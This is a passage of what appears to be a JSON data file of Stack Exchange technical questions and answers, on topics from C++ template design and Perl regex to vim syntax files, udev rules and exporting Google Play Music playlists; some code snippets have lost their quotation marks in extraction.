specializations are meant to be used (I couldn't tell from looking at your code), I usually 'forbid' the base template to catch mistakes early. Errors about how message<...> has no put member are confusing and not necessarily near the code that instantiated the template. The simplest way to do it is to leave the template undefined but lately I've been using a trick: static_assert( dependent_false<Type>::value, Only specializations should be used );, where dependent_false<T>::value is always false but won't trigger the assert until instantiation (whereas static_assert( false, ... ) always triggers and won't let you compile, ever.)    template<>        struct message<bitfield> : public variable_payload_message<message<bitfield>>        {        public:            message() = delete;            explicit message(std::string bits);            const std::string payload() const;I'd prefer returning std::string here. (Ditto for message<piege>::payload.)    // A simple type trait that determines if a type is a message type    template <typename NonMesssage>        struct is_message : std::false_type {};    template <message_type Type>        struct is_message<message<Type>> : std::true_type {};Lately I've been making my traits more convenient to use by adding forwarding specializations: template<typename T> struct is_message<T&>: is_message<T> {};, and another one for const. They help with perfect forwarding because if you have e.g. template<typename M> void perfectly_forwarded(M&&); then M might be T const& for some T. Since you're not doing that in your code I don't think you need it -- just a head's up.    // Implementation of operator<< for all message types    // This requires the put member function    template <typename Message>        std::ostream& operator<<(std::ostream& os, typename std::enable_if<is_message<Message>::value,const Message&>::type message);Deduction can't work here. C++03-style code uses enable_if at the return type, or when there is no return type (e.g. constructors) as a default argument.  Maybe you tried to 'collapse' the default argument with the actual, interesting parameter, but you can't do that. C++0x-style code can put enable_if as a defaulted template parameters but that's moot since you really want (credit to CatPlusPlus):template<message_type M>std::ostream&operator<<(std::ostream& os, message<M> const& m);    // simple implementation of operator<< for messagesChange definition to match previous declaration.    // implementation of no-payload message base class    template <message_type Type>        std::ostream& no_payload_message<Type>::put(std::ostream& os) const {            // make sure this struct is not padded or anything            // this is a gcc attribute, I'll change this when there is            // support for the C++11 attribute alignas            struct __attribute__ ((packed)) data_type {                unsigned len;                message_type type;            };            // hton is a function that converts from host-endianness to network-endianness            data_type buffer = { hton(sizeof(data_type)-sizeof(data_type::len)), Type }; // lay out the length and the message type            return os.write(static_cast<char*>(&buffer), sizeof(data_type)); // write it        }Again, following protocol specs, I'd make len a std::uint32_t. The unofficial spec use 1 as the length, I'm not sure what you're computing here. Minor note: I always write os.write(static_cast<char*>(&buffer), sizeof buffer) to future-proof (unlikely to matter here but still).    // implementation of fixed-length payload message base class    template <typename Message>        std::ostream& fixed_payload_message<Message>::put(std::ostream& os) const {            auto buffer = static_cast<const Message*>(this)->data(); // get the data from the derived class            return os.write(static_cast<char*>(&buffer), sizeof(buffer)); // write it        }And in fact here you do take the size of the object!    // implementation of variable-length payload message base class    template <typename Message>        std::ostream& variable_payload_message<Message>::put(std::ostream& os) const {            typedef typename Message::data_type header_type;            auto m = static_cast<const Message*>(this);            const auto payload = m->payload(); // get the payload            const auto data_type_size = sizeof(header_type)+payload.size(); // get the total size            std::unique_ptr<char[]> mem(new char[data_type_size]); // allocate a buffer for it            m->init(mem.get()); // write out the fixed-length portion            std::copy(payload.begin(), payload.end(), mem.get()+sizeof(header_type)); // copy the payload to the buffer            return os.write(mem.get(), data_type_size); // write it        }I don't see the need to copy the final message into a buffer. Why not use two calls to ostream::write? You could replace the init members (which you already dislike) with a data member like the fixed-length messages.// Lots of definitions/instantiationsAgain, I didn't check conformance to the specs. I also already mentioned to you how most of the explicit instantiations aren't needed.I'd also write sizeof field0 + sizeof field1 + ... for computing the various sizes that you need rather than subtracting from the total size. I'd do that for clarity and I don't think it's a correctness issue however.Final remarks on the general design:I think you're somewhat abusing specializations here: there's is no need (IMO) for a message catch-all template since the three kinds of messages are not similar in use. This really shows I think with the constructors that aren't compatible: you can't write a generic message<M> m(arguments go here);. Personally I'd have used overloaded function templates to return those three types.Also I personally typically use std::vector<unsigned char> for binary stuff rather than std::string but I don't think that really matters (plus you may have a use for some std::string-specific stuff that is not in the code you presented)."  } 
{  "id": "_unix.361135"  , "question": "I have a USB-Stick from which I would like to read the serial number.If I invoke the command lsusb -v the output in the line iSerial is as follows:iSerial    3If i go to /proc/scsi/usb-storage and look into the file i get the following output:Host scsi10: usb-storageVendor: USBProduct: Disk 2.0Serial Number: 92071573E1272519149Protocol: Transparent SCSITransport: BulkQuirks:Why is there no serial output with the lsusb command on the one hand, but on the other hand I get a serial number from /proc/scsi/usb-storage. Where is the difference between the two methods to gather the serial?"  , "title": "USB serial number not shown with lsusb -v command"  , "tags": "linux;usb;proc;lsusb"  } 
{  "id": "_unix.290868"  , "question": "I'd like to copy from /A to /C only paths missing on /B and /C. (Please assume those are paths, and can represent also remote locations e.g. mounted via sshfs)I wonder... Is there more concise way then writing a loop, iterating over filesystem and making check, file by file ?Example contents of tree directories /A, /B, /C :/A:/A/1abc/qwe/A/2abc/asd/A/3abc/zxc/A/4abc/rty/B:/A/2abc/asd/A/3abc/zxc/C:/C/1abc/qweexpected:to copy from /A to /C only path 4abc/rty:/A/4abc/rty -> /C/4abc/rtyTo illustrate practical examples of /A, /B, /C, leading to such scenario:you make backup, copy from some /source (/A) to some /destination (/B) and some paths failed to be copied. So you want to have copy anyway of missing ones. So you find /another_destination (/C) that can accept them, and you want to copy only missing ones. Here are example limitations why copy from /A to /B could fail: disc got full; limitation of filesystem of /B (like filename lenght), while not present on /C filesystem; etc."  , "title": "copy_only_missing? - Copy from /A to /C only paths missing on /B and /C - concise way"  , "tags": "rsync;backup;synchronization"  } 
{  "id": "_webapps.106888"  , "question": "I am using multiple accounts in Gmail (including external ones) and have noticed since about 3 months the following issue: some emails that I receive on my uni email account show up in my inbox a couple weeks up to a couple of months late.The concerned emails seem to exclusively come from LinkedIn and other mass-emailing platforms (not really an issue), but also from some coworkers that send me messages manually (can be a big deal). Any idea where this might come from?"  , "title": "Late email reception in Gmail"  , "tags": "gmail"  } 
{  "id": "_unix.249105"  , "question": "I'm sorry not being too specific in the title but I couldn't get it more specific than that.Why can't I use if($l =~ $ARGV[0]) but I can use if($l =~ /$ARGV[0]/g?first case$ perl script.pl '/^[\\w]/g'second case$ perl script.pl '^[\\w]'"  , "title": "Perl - Why I can't use a variable into regex?"  , "tags": "perl"  , "accepted_answer": "$ARGV[0] is a scalar string. When you do if($l =~ $ARGV[0]) and $ARGV[0] is '/^[\\w]/g' this is equivalent to if($l =~ '/^[\\w]/g') instead of if($l =~ /^[\\w]/g). In the former case the slashes are simply characters in a string while in the later they are a part of the Perl syntax that delimits a regular expression. "  } 
{  "id": "_webapps.108479"  , "question": "How can I archive content on Facebook that requires me to be logged in to be visible on an external service? I have seen Archive-IT but as I understand it, their service it is not open for the public but rather just for their members (universities and similar). Furthermore, Archive.is can archive public content on Facebook but not stuff that has a more limited audience.I imagine a couple of different solutions:Provide my login credentials. Of course, you wouldn't wanna do this to some shady service with an unknown track record and owners.That I upload the content I want to archive using some scriptlet, browser extension or similar.A service using the Facebook API similar to how Facebook applications are working.At the moment I don't need to limit the access to the archived content (I mostly need this to save threads in more or less public groups with thousands of members. In other words, they are in practise already available to anyone on the internet) but of course, it would be a nice to have for future purposes."  , "title": "How can I archive, externally, a Facebook page that requires login?"  , "tags": "facebook;archive.org;facebook archive"  } 
{  "id": "_codereview.87032"  , "question": "I have a function that converts an integer to its binary representation. I am wondering if there is any way I can improve the function. public List<string> Conversion(int x)    {        var bitConversion = new List<string>();        var result = x;        while (result >= 0)        {            if (result == 0)            {                bitConversion.Add(0);                break;            }            bitConversion.Add((result % 2).ToString(CultureInfo.InvariantCulture));            result = result / 2;        }       bitConversion.Reverse();       return bitConversion;    }"  , "title": "Function that convert decimal to binary"  , "tags": "c#;performance;converting"  , "accepted_answer": "One major improvement would be to just use what is supplied through .NET:Convert.ToString(int, 2);where int is your supplied argument.Convert.ToString Method (Int32, Int32)Converts the value of a 32-bit signed integer to its equivalent string representation in a specified base.Note that this returns you a string value like 10000110100001, which is the representation of a binary number. In your code you store them as string representations and in separate entries in your collection, which is not the way a number should be stored. It's like creating an array with values 1 and 2 to represent the number 12.If this is your intention then you can always work towards that of course but it might be an indication that something else is wrong for needing it like that.However if you want to stay with your own implementation, there are a few things you could change around:public List<string> Conversion2(int x){   var bitConversion = new List<string>();   while (x >= 0)   {       if (x == 0)       {           bitConversion.Add(0);           break;       }       bitConversion.Add((x % 2).ToString(CultureInfo.InvariantCulture));       x /=  2;   }  bitConversion.Reverse();  return bitConversion;}Remove the unnecessary result variableContract x = x / 2 to x /= 2 (compound assignment operator)"  } 
{  "id": "_softwareengineering.244373"  , "question": "I've learned how to program primarily from an OOP standpoint (like most of us, I'm sure), but I've spent a lot of time trying to learn how to solve problems the functional way. I have a good grasp on how to solve calculational problems with FP, but when it comes to more complicated problems I always find myself reverting to needing mutable objects. For example, if I'm writing a particle simulator, I will want particle objects with a mutable position to update. How are inherently stateful problems typically solved using functional programming techniques?"  , "title": "Dealing with state problems in functional programming"  , "tags": "functional programming"  , "accepted_answer": "Functional programs handle state very well, but require a different way of looking at it.  For your position example, one thing to consider is having your position be a function of time instead of a fixed value.  This works well for particles following a fixed mathematical path, but you require a different strategy for handling a change in the path, such as after a collision.The basic strategy here is you create functions that take in a state and return the new state.  So a particle simulator would be a function that takes a Set of particles as input and returns a new Set of particles after a time step.  Then you just repeatedly call that function with its input set to its previous result."  } 
{  "id": "_unix.124405"  , "question": "I was trying to install a package using pkg add, but I got the reply thatpackage manager not installedTo install that I used:tar -C /tmp -zvxf pkg-1.2.1_1.txzand then:/tmp/usr/local/sbin/pkg-static pkg-1.2.1_1.txzIt worked out for the first time. But when I rebooted my PC I got an error:error exit delayed from previous errorsHow to install package manager from FreeBSD installation DVD now?"  , "title": "Install a package manager in FreeBSD 10"  , "tags": "package management;freebsd"  } 
{  "id": "_webapps.50311"  , "question": "I want to print a list of songs (with artist, album, rating and, if possible, number of plays and duration) from my Google Play Music account.There is no easy way to do this from the app. Doing print-screens as I page through a long list of songs is not tenable.I would be happy with an export of data to a standard format (plain text, CSV, XML, etc.) that I can manipulate myself.Any suggestions?"  , "title": "Print Playlist from Google Play Music"  , "tags": "export;google play music"  , "accepted_answer": "Modifying darkliquid's answer, I came up with the following which allows for multiple playlists to be saved at once.Instructions:Go to https://play.google.com/music/listen?u=0#/wmp.Paste in the JavaScript code below into your console.Click on a playlist that you want to save to text.Once on the playlist page, scroll to the bottom relatively slowly.After you've scrolled to the bottom, navigate back to the playlists page (same as in step 1.) using the menu or your browsers back button.Repeat steps 3-5 for all playlists you want to save to text.Once you've done this for all the playlists you want to save to text, you can either type JSON.stringify(tracklistObj, null, '\\t') (change the '\\t' to ' ' if you want minimal indentation) or tracklistObj if you just want the JavaScript object to manipulate it your own way.// Setupvar tracklistObj = {},    currentPlaylist,    checkIntervalTime = 100,    lastTime;// Process the visible tracksfunction getVisibleTracks() {    var playlist = document.querySelectorAll('.song-table tr.song-row');    for(var i = 0; i < playlist.length ; i++) {         var l = playlist[i],            title = l.querySelector('td[data-col=title] .column-content').textContent,            artist = l.querySelector('td[data-col=artist] .column-content').textContent,            duration = l.querySelector('td[data-col=duration] span').textContent            album = l.querySelector('td[data-col=album] .column-content').textContent,            playCount = l.querySelector('td[data-col=play-count] span').textContent,            rating = l.querySelector('td[data-col=rating]').textContent;        // Add it if it doesn't exist already        if(!tracklistObj[currentPlaylist].includes(artist +  -  + title)) {            tracklistObj[currentPlaylist].push(artist +  -  + title);            if(printTracksToConsole) {                console.log(artist + ' - ' + title);            }        }    }}// Listen for page changeswindow.onhashchange = function(e) {    var playlistName = document.querySelector('.gpm-detail-page-header h2[slot=title]').innerText;    if(playlistName != null) {        currentPlaylist = playlistName;        if(tracklistObj[currentPlaylist] === undefined) {            tracklistObj[currentPlaylist] = [];        }        console.log(===================================);        console.log(Adding to playlist  + currentPlaylist);        getVisibleTracks();    }}// Check for new tracks every so oftensetInterval(function() {    getVisibleTracks();}, checkIntervalTime);// Whether or not to print the tracks obtained to the consolevar printTracksToConsole = false;You can also print out track names to the console as you go by changing printTracksToConsole to true.Also note that currently it's setup only to give Artist - Track name, but you can easily edit the line that has tracklistObj[currentPlaylist].push(artist +  -  + title); with album, playCount, duration, or rating, and/or whatever formatting you want (including CSV format if you so please).If you want to be able to scroll faster, you can decrease checkIntervalTime to something lower, but will take up more processing (if you're close to 0 it may freeze the window).Example output (all Google Play playlists I currently have) with default settings. It took about 5 minutes in total to navigate to each of the 32 playlists, scroll down them, and then convert the result to text.P.S. You might be interested using a site I found called roll.io to make (informal) YouTube playlists from the output so your friends can listen to your Google Playlists. If you do this, you probably want to use something like TextMechanic to remove the quotes from the outputted list."  } 
{  "id": "_webmaster.11000"  , "question": "Can anyone tell me based on experience what to use or what to do?I want to enable users(my family) to create their own simple homepage including a background image, some text and hyperlinks based on templates on my website hosted on my server. What is the best way to approach this? I dont have any website created yet so Im open to all suggestions. I want to present them with a webbased GUI, so there is no HTML or programming knowlegde needed. It needs to have a low learing curve.I searched the web and came across Wordpress, Movabletype and some other CMS like tools. (Joomla and such) Are these any good?Please advice,Darrell."  , "title": "Enable users to create own homepage"  , "tags": "web development;website design;web hosting"  } 
{  "id": "_unix.321297"  , "question": "I recently installed Debian Jessie (8) to my Lark Ultimate 7i WIN. I successfully installed all essential things on it, but one thing is still irritating me. I have LXDE installed, and I added battery monitor applet to the bottom bar, but it only shows black rectangle. It says 0%, 0:00 until full charge. I installed upower, and it says that the battery is 100%. And acpi -b says the same as lxde. The driver that the battery is using is Intel Real Battery Monitor and the battery is model SR Real Battery (from /sys/class/power_supply/BTBM/). I have tried adding some lines to lxde autostart, but nothing, that I tried did not work."  , "title": "Debian Battery Monitoring driver"  , "tags": "debian;lxde;battery"  } 
{  "id": "_codereview.134339"  , "question": "I wrote my first Python program today after working through a few books. I decided to build a group initiative tracker for our D&D group and was hoping to get some feedback. Critiques on code efficiency, formatting, suggestions, etc would be appreciated. My plan is to eventually take this from a command-line application to a django or flask web app, or maybe an iOS app.print('Welcome to Initiative Tracker!')while True:    try:        loop_count=int(input(\\nHow many PC's and NPC's total? ))        loop_start = 0        initiative_tracking = {}        while loop_start < loop_count:            player_name = input('What is the Players name? ')            player_initiative = int(input('What is ' + player_name + ' initiative? '))            if player_initiative in initiative_tracking:                initiative_tracking[player_initiative].append(player_name)            else:                initiative_tracking[player_initiative] = [player_name]            loop_start += 1            continue        print('\\nYour initiative order is: ')        for key in sorted (initiative_tracking.keys(), reverse=True):            print(str(key) + ': ' + ', '.join(initiative_tracking[key]))        break    except ValueError:        print(Sorry I didn't catch that. How many PC and NPC total? )"  , "title": "Python Tabletop Initiative Tracker"  , "tags": "python;python 3.x"  , "accepted_answer": "I see that you have some error handling for int(input(...)).  I would change it, however.  Let's say that the user types a valid number of PC's, but does not type a valid player initiative.  That would trigger a ValueError, and your except block would ask again how many PC's.  Why should it restart the whole process for one little mistake?  You should have different try blocks for each of those. Also, a try block should include only the code that you expect might throw an error.  If some other code throws an error, you want to know about it.For the first use of int(input(...)), I would just take it out completely.  Why should the user need to specify how many PC's?  Why not just keep going until he runs out and then hit Enter on a blank line?  That can be done quite simply with iter().  Usually, iter() is given an iterable, but if it is given two arguments,  the first argument is a callable (usually a function) that returns a value.  (In our case, we use lambda: input(...)).  The second argument is the stopping point.  iter() will keep calling that function and yielding the result until it returns the second argument. Therefore, we give it '', and we get all of the user's inputs until he types nothing in a line.The second use of int(input(...)) is when you are retrieving the player initiative.  It should have its own try-except block to make sure the input is an integer.  I would then put that block inside of its own while loop so that the program keeps asking until it gets a valid answer.Instead of a chain of string concatenations, use string formatting:player_initiative = input('What is {} initiative? '.format(player_name))andprint('{}: {}'.format(key, ', '.join(initiative_tracking[key])))A loop is called that because it loops.  You don't need to tell it to keep looping.  It will keep looping until it is told to stop.  Sometimes it is stops because a condition is not met, but sometimes it stops because it encounters a break.  You should use continue only if you want to skip the code beneath and jump straight to the beginning of the loop.  It really doesn't make sense to put continue at the end of the loop.The argument that is given to sorted() has only one requirement: that it is iterable.  To test if a type of object is iterable, go into a Python shell and create an instance of it.  Then, do for item in my_object: print(item).  If there is an error, your object is not iterable.  Otherwise, you will see what happens when iterates.  For a dictionary, you get all of the keys.  Therefore, sorted(initiative_tracking.keys(), reverse=True) can be simplified to sorted(initiative_tracking, reverse=True).Full code:print('Welcome to Initiative Tracker!')initiative_tracking = {}for player_name in iter(lambda: input(What is the player's name? ), ''):    player_initiative = input('What is {} initiative? '.format(player_name))    while True:        try:            player_initiative = int(player_initiative)            break        except ValueError:            player_initiative = input('Please enter an integer: ')    if player_initiative in initiative_tracking:        initiative_tracking[player_initiative].append(player_name)    else:        initiative_tracking[player_initiative] = [player_name]print('\\nYour initiative order is: ')for key in sorted(initiative_tracking, reverse=True):    print(str(key) + ': ' + ', '.join(initiative_tracking[key]))"  } 
{  "id": "_vi.5452"  , "question": "I can set the text width and can manually line break imported paragraphs with the following as an example.set textwidth=72gqqI can also navigate English text files with the standard 'w' 'b' 'e' '*' commands, etc.This works well for English, however Thai and other Brahmic scripts of South and South-east Asia space at the phrasal level. Libreoffice, Word, Indesign, TeX, etc. know where line breaks should occur. And except for TeX, I can navigate by Thai word in these programs. My question: How can vim be taught to recognize Thai words (or any Indic language for that matter) for the purpose of navigation, word wrapping, and line breaking."  , "title": "Set line breaks, word wraps and word searching for Thai and other non-latin languages"  , "tags": "vimscript;vimrc;wrapping;line breaks"  } 
{  "id": "_softwareengineering.122440"  , "question": "Say you have a document with an essay written. You want to parse this essay to only select certain words. Cool. Is using a regular expression faster than parsing the file line by line and word by word looking for a match?  If so, how does it work?  How can you go faster than looking at each word?"  , "title": "How do regular expressions actually work?"  , "tags": "regular expressions"  , "accepted_answer": "How does it work?Take a look at automata theoryIn short, each regular expression has an equivalent finite automaton and can be compiled and optimized to a finite automaton. The involved algorithms can be found in many compiler books. These algorithms are used by unix programs like awk and grep. However, most modern programming languages (Perl, Python, Ruby, Java (and JVM based languages), C#) do not use this approach. They use a recursive backtracking approach, which compiles a regular expression into a tree or a sequence of constructs representing various sub-chunks of the regular expression. Most modern regular expression syntaxes offer backreferences which are outside the group of regular languages (they have no representation in finite automata), which are trivially implementable in recursive backtracking approach. The optimization does usually yield a more efficient state machine. For example: consider aaaab|aaaac|aaaad, a normal programmer can get the simple but less efficient search implementation (comparing three strings separately) right in ten minutes; but realizing it is equivalent to aaaa[bcd], a better search can be done by searching first four 'a' then test the 5th character against [b,c,d]. The process of optimization was one of my compiler home work many years ago so I assume it is also in most modern regular expression engines.On the other hand, state machines do have some advantage when they are accepting strings because they use more space compared to a trivial implementation. Consider a program to un-escape quotation on SQL strings, that is: 1) starts and ends with single quotation marks; 2) single quotation marks are escaped by two consecutive single quotations. So: input ['a'''] should yield output [a']. With a state machine, the consecutive single quotation marks are handled by two states. These two states serve the purpose of remembering the input history such that each input character is processed exactly only once, as the following illustrated:...S1->'->S2S1->*->S1, output *, * can be any other character S2->'->S1, output 'S2->*->END, end the current stringSo, in my opinion, regular expression may be slower in some trivial cases, but usually faster than a manually crafted search algorithm, given the fact that the optimization cannot be reliably done by human.(Even in trivial cases like searching a string, a smart engine can recognize the single path in the state map and reduce that part to a simple string comparison and avoid managing states.)A particular engine from a framework/library may be slow because the engine does a bunch of other things a programmer usually don't need. Example: the Regex class in .NET create a bunch of objects including Match, Groups and Captures."  } 
{  "id": "_vi.12731"  , "question": "I understand it's the place to put things that should have the final say and not be overridden by another source, but I'm unclear on how to decide when to put something in, say, ~/.vim/after/ftplugin/ rather than ~/.vim/ftplugin/.Do people generally use ~/.vim/ftplugin/ and only move stuff into ~/.vim/after/ftplugin/ if they observe unwanted behavior, or do they just put it all in the after-directory right away?"  , "title": "When to use the after/ directory?"  , "tags": "options"  , "accepted_answer": "Generally, if you want to add your own plugin, or replace a standard plugin with your own, it would go into ~/.vim/plugin or ~/.vim/ftplugin. If instead you want to keep the functionality of an existing plugin but add to it, or change just a few settings made by it, then your plugin would go into ~/.vim/after/plugin or ~/.vim/after/ftplugin."  } 
{  "id": "_vi.12239"  , "question": "I'm trying to improve the cmake-syntax-highlighting for vim.I'm unable to have vim highlight a keyword which is inside a text which is already matching a region. I'm talking about variables:For example CMAKE_SOURCE_DIR is a built-in variable which is listed in a syn keyword cmakeVariable-list.When accessing values of a variable in cmake you use ${...}. Highlighting this is done with a region:syn region cmakeVariableValue start=/\\${/ end=/}/        \\ contained oneline contains=CONTAINED,cmakeTodo,cmakeVariableBoth highlightings work, except when mixed together. Keywords listed in cmakeVariable are not highlighted specially when being in a ${}-region.How can I tell vim to apply special highlighting in a region when a keyword is used?"  , "title": "How to highlight keywords in a syntax region?"  , "tags": "syntax highlighting"  , "accepted_answer": "You need to use the contained argument in your keyword definition. Here's a random snippet that works for me:syntax keyword toBeContained contained foo barsyntax region fooRegion start={ end=} contains=toBeContainedhi toBeContained ctermfg=51 guifg=cyanhi fooRegion ctermfg=30 guifg=darkcyanNote: This will make keyword toBeContained not work when it's not in a region that contains it. So you might need to make two definitions, one with contained and one without.I recommend this great tutorial on creating syntax files, as well as :help :syn-keyword for more information."  } 
{  "id": "_cs.20039"  , "question": "I plot several arrays containing xy-coordinates of points (using plot(x,y)) and obtain a plot with some curves. The curves form some very distinctive closed shapes (that is, the points describing the curves lie close to each other).Now I need to find the (possibly approximate) centers of the closed shapes. Alternatively, it's good to recognize the closed shapes and to fill them. I don't know what is easier given the coordinates of points forming the shapes.A possible example with 3 closed shapes to detect is given below.Points can be also added along the image's borders, thus, closing all open shapes. Then all regions in the figure will be closed, but the question persists."  , "title": "detect closed shapes formed by points"  , "tags": "algorithms;computational geometry"  , "accepted_answer": "find all intersections by checking all pairs of segments, belonging to different curves. Of course, filter them before real check for intersection.Number all curves 1..n. Set some order of segments in them.For every point create a sequence of intersections SOI, so: if it starts from the border end, SOI[1] is null. If not, SOI[1]= (number of the first curve it is intersecting with, the sign of the left movement on the intersecting curve). Go on, writing down into SOI every intersection - number of curve if there is some, or 0 if it is the intersection with the border.Obviously, you are looking only for simple bordered areas, that have no curves inside.Pieces of curves between two adjacent non-null intersection points we'll call segments. Having SOI for each curve:for segment of the curve 1, starting from the first point of the segment, make 2 attempts to draw a polygon of segments. It is 2 because you can go to 2 sides along the first intersecting curve. For the right attempt, make only left turns, for the left attempt, make only the right turns. If you arrive at point with no segment in the correct direction, the attempt fails. If you return to the curve 1, it success. You have a closed area.Remember all successful attemptsRepeat this for all segments of curve 1Repeat this for all other curves, checking all found areas against the already found ones. Two same adjacent segments is enough to consider areas equal.Edit:How to find the orientation of the intersection. When segment p(p1,p2) crosses segment q(q1,q2), we can count the vector multiplication of vectors pXq. We are interested in only sign of its Z coordinate - that is out of our plane. If it is +, q crosses p from left to right. If it is -, the q crosses p from right to left.The Z coordinate of the vector multiplication is counted here as a determinant of matrix: 0         0          1p2x-p1x   p2y-p1y    0q2x-q1x   q2y-q1y    0(of course, it could be written more simply, but it is a good memorization trick)Of course, if you'll change all rights for lefts, nothing really changes in the algorithm as a whole."  } 
{  "id": "_softwareengineering.269501"  , "question": "I have a bunch of x-y graphs given to me and I need to be able to transform them into some kind of data structure from which I will be able to get Y with X value.The problem is, though that I have 4, at max 5 values of Y given to me, and my X values can range up to 9000. So the information I have is something of the formPoint # X       Y1       1000    1002       3250    4603       6000    3204       6500    300My idea initially was something like:function getY($x){    $data[1000] = 100;    $data[3250] = 460;    $data[6000] = 320;    $data[6500] = 300;    if(isset($data[$x])){        return $data[$x];    }    $minKnown = null;    $maxKnown = null;    foreach($data as $_x => $y){        if($_x < $x){            $minKnown = $_x;        }        if($_x > $x){            $maxKnown = $_x;            break;        }    }    return $data[$minKnown] + (($x - $minKnown) / ($maxKnown - $minKnown)) * ($data[$maxKnown] - $data[$minKnown]);}    }This function I just wrote to illustrate my idea. Basically if a point is not defined but somewhere between 2 known points, assuming there are no curves between the two points get the value that co-responds to the position of X between the two known values of X. I'm not even sure if my verbal explanation is actually correct or not but I guess that's what I wrote the function for.  Anyway, I was thinking, since graphs something that's widely used, are there any better ways of doing this, and I'm hoping there are otherwise I might turn out to be smarter than I thought, which is scary. "  , "title": "Setting and getting values from a x-y graph"  , "tags": "php;graph"  , "accepted_answer": "Since you said, that you assume that there are no curves, the graph itself would probably look like a stock development. So I would try a vector calculation approach. With the data you gave in your example you would get 3 vectors defined by two points. (To generalize it, you would get one vector less then you got points.)In your example:Vector1: Point1->Point2 (Point2[x] - Point1[x], Point2[y] - Point1[y]) Vector2: Point2->Point3 (Point3[x] - Point2[x], Point3[y] - Point2[y])Vector3: Point3->Point4 (Point4[x] - Point3[x], Point4[y] - Point3[y])With values:Vector1: (3250 - 1000, 460 - 100) = (2250, 360)Vector2: (6000 - 3250, 320 - 460) = (2750, -140)Vector3: (6500 - 6000, 300 - 320) = (500, -20)Now the standard linear function has the form y = m*x + b. The vector itself won't need the b. So for Vector1 it is: 360 = m * 2250 Resolved for m we get: m = 360 / 2250 = 0.16Now we get back to the original line between P1 and P2, which will require a value for b.We get this now with: 100 = 0.16 * 1000 + b => b = -60With that we know each y value between Point1 and Point2 will be defined by this equation: y = 0.16 * x - 60.You can check this by simply inserting the values of one of the points into the equation:P1 100 = 1000 * 0.16 - 60 P2 460 = 3250 * 0.16 - 60 Code example:$vector1x = $Point2->X - $Point1->X;$vector1y = $Point2->Y - $Point1->Y;$m1 = $vector1y / $vector1x$b1 = $Point1->y - $Point1->x * $m1// do the same for the other points as described.Now when you get a value for x which you want to get the y value of do sth like this:function getY($x){    if($x >= $Point1->X && $x <= $Point2->X)    {        $y = $m1 * $x + $b1;    }    else if($x <= $Point3->X)    {        $y = $m2 * $x + $b2;    }    else if($x <= $Point4->X)    {        $y = $m3 * $x + $b3;    }    else    {        throw new Exception(Cannot calculate value with given data!);    }    return $y; }I hope this approach serves your needs and helps you in solving the problem."  } 
{  "id": "_softwareengineering.238666"  , "question": "Is there a design pattern or well known algorithm to build a simple map with roads and city blocks?To have an idea of what's my target i describe some of the constraints and the context:a matrix which represents a (rectangular) mapfew possible city blocks represented as rectangles (eg, 4x3, 5x2, 1x6)few possible road sizes (eg, 1, 2)block are never connected, meaning that there is always a road between themthe result would be an array like this:111101111100110111101111100110111100000000110000001110000110000001110000000...where as for example, 1 are the blocks and 0 are the roads.What I intend to do is to place a block where it is possible, then circumscribe with roads, and go on. This would be ok, but could lead to some place where blocks don't fit.I would like to know if there is something in the state of the art of such algorithms."  , "title": "Build a map with city blocks and road"  , "tags": "design patterns;algorithms"  } 
{  "id": "_unix.296620"  , "question": "Hello I am new to this unix background. I had set up a server on centOs 7. i had given ip as 192.0.2.123 and host name as www.example.com. now when i www.example.com hit the hostname in the browser i am gettingThis site cant be reachedThe connection was reset.Some timesThis site cant be reachedwww.example.coms server DNS address could not be found.DNS_PROBE_FINISHED_NXDOMAINIs their any steps to map ip to hostname.Please help."  , "title": "Site cannot be reached after installing centos 7"  , "tags": "centos;hostname"  } 
{  "id": "_unix.226041"  , "question": "I have trouble adding usb device to rules.d list, I want to be able to use it without root. Here is my USB device:Bus 001 Device 007: ID 1162:2200 Secugen Corp.And this is entry I made in /etc/udev/rules.d/98-secugen-usb-device.rules:SYSFS{idVendor}==1162, SYSFS{idProduct}==2200, SYMLINK+=input/fdu05-%k, MODE=0660, GROUP=SecuGen KERNEL==uinput, MODE=0660, GROUP=SecuGenI'm not quite sure what is SYMLINK+=input/fdu05-%k part, it was set as this in readme.txt.Unfortunately this rule does not work. Usually it is quite straight forward, add vendorId/productId and it works, but not this time.Any suggestions?UPDATE:This is output I get from dmesg:usb 1-1.1.3: new high-speed USB device number 12 using ehci-pciusb 1-1.1.3: New USB device found, idVendor=1162, idProduct=2200usb 1-1.1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=0usb 1-1.1.3: Product: SecuGen USB U20usb 1-1.1.3: Manufacturer: SecuGen Corp.This is how my /dev/input looks like: by-id  usb-LITEON_Technology_USB_Multimedia_Keyboard-event-kbd -> ../event0  usb-Microsoft_Comfort_Mouse_6000-event-mouse -> ../event1  usb-Microsoft_Comfort_Mouse_6000-mouse -> ../mouse0 by-path  pci-0000:00:1a.0-usb-0:1.2:1.0-event-kbd -> ../event0  pci-0000:00:1a.0-usb-0:1.3:1.0-event-mouse -> ../event1  pci-0000:00:1a.0-usb-0:1.3:1.0-mouse -> ../mouse0  platform-pcspkr-event-spkr -> ../event4 event0 event1 event10 event2 event3 event4 event5 event6 event7 event8 event9 mice mouse0Log I get from unbuffer udevadm monitor --environment :UDEV  [4656.200575] add      /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.1/1-1.1.3 (usb)ACTION=addBUSNUM=001DEVNAME=/dev/bus/usb/001/016DEVNUM=016DEVPATH=/devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.1/1-1.1.3DEVTYPE=usb_deviceID_BUS=usbID_MODEL=SecuGen_USB_U20ID_MODEL_ENC=SecuGen\\x20USB\\x20U20\\x20\\x20\\x20\\x20\\x20\\x20\\x20ID_MODEL_ID=2200ID_REVISION=2206ID_SERIAL=SecuGen_Corp._SecuGen_USB_U20ID_USB_INTERFACES=:ffffff:ID_VENDOR=SecuGen_Corp.ID_VENDOR_ENC=SecuGen\\x20Corp.\\x20\\x20\\x20\\x20ID_VENDOR_FROM_DATABASE=Secugen Corp.ID_VENDOR_ID=1162MAJOR=189MINOR=15PRODUCT=1162/2200/2206SEQNUM=1702SUBSYSTEM=usbTYPE=0/0/0UDEV_LOG=6USEC_INITIALIZED=56185634UDEV  [4657.235375] add      /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.1/1-1.1.3/1-1.1.3:1.0 (usb)ACTION=addDEVPATH=/devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.1/1-1.1.3/1-1.1.3:1.0DEVTYPE=usb_interfaceID_VENDOR_FROM_DATABASE=Secugen 